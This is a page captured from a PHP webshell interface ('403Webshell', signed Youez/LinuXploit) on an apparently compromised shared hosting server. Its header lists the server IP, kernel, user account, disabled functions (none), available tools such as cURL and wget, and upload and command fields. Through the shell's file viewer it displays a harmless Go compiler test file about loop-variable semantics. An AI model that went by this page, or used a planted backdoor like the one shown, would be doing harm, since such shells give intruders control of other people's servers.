403Webshell
Server IP : 88.222.222.238  /  Your IP : 216.73.216.171
Web Server : LiteSpeed
System : Linux lt-bnk-web922.main-hosting.eu 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : u970350538 ( 970350538)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/compile/internal/loopvar/testdata/inlines/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/src/cmd/compile/internal/loopvar/testdata/inlines//main.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import (
	"cmd/compile/internal/loopvar/testdata/inlines/a"
	"cmd/compile/internal/loopvar/testdata/inlines/b"
	"cmd/compile/internal/loopvar/testdata/inlines/c"
	"fmt"
	"os"
)

func sum(s []*int) int {
	sum := 0
	for _, pi := range s {
		sum += *pi
	}
	return sum
}

var t []*int

func F() []*int {
	var s []*int
	for i, j := 0, 0; j < 10; i, j = i+1, j+1 {
		s = append(s, &i)
		t = append(s, &j)
	}
	return s
}

func main() {
	f := F()
	af := a.F()
	bf, _ := b.F()
	abf := a.Fb()
	cf := c.F()

	sf, saf, sbf, sabf, scf := sum(f), sum(af), sum(bf), sum(abf), sum(cf)

	fmt.Printf("f, af, bf, abf, cf sums = %d, %d, %d, %d, %d\n", sf, saf, sbf, sabf, scf)

	// Special failure just for use with hash searching, to prove it fires exactly once.
	// To test: `gossahash -e loopvarhash go run .` in this directory.
	// This is designed to fail in two different ways, because gossahash searches randomly
	// it will find both failures over time.
	if os.Getenv("GOCOMPILEDEBUG") != "" && (sabf == 45 || sf == 45) {
		os.Exit(11)
	}
	os.Exit(0)
}

Youez - 2016 - github.com/yon3zu
LinuXploit